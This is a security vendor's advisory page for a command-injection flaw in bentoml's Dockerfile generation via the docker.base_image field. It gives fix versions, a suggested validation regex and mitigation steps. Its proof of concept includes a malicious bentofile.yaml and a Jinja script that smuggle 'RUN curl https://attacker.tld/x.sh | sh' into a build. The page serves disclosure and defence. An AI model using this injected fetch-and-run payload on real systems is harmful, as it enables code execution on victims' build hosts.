Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-78f9-r8mh-4xm2

HIGH

GHSA-78f9-r8mh-4xm2 is a high-severity (CVSS 8.8) vulnerability in bentoml. O3 Security confirms whether GHSA-78f9-r8mh-4xm2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)

Also known asCVE-2026-44345PYSEC-2026-189
Published
May 11, 2026
Updated
Jun 9, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jun 9, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍bentoml

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):

FROM {{ __options__base_image }} AS base-container

__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):

base_image: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch

Minimal reproduction of the unsafe interpolation:

from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)

Output:

FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container

Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.

Impact

Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.

Suggested fix

Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.

The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:

  • __options__build_include[*] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries from Image.build_include(*file_paths).
  • bento__user, bento__uid_gid, bento__path, bento__home, bento__entrypoint — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through override_bento_env.

References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIbentomlall versions1.4.39

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update bentoml to 1.4.39 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-78f9-r8mh-4xm2 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-78f9-r8mh-4xm2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-78f9-r8mh-4xm2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base
O3 Security · Impact-Aware SCA

Is GHSA-78f9-r8mh-4xm2 in your dependencies?

O3 detects GHSA-78f9-r8mh-4xm2 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-78f9-r8mh-4xm2: bentoml (High 8.8) | O3 Security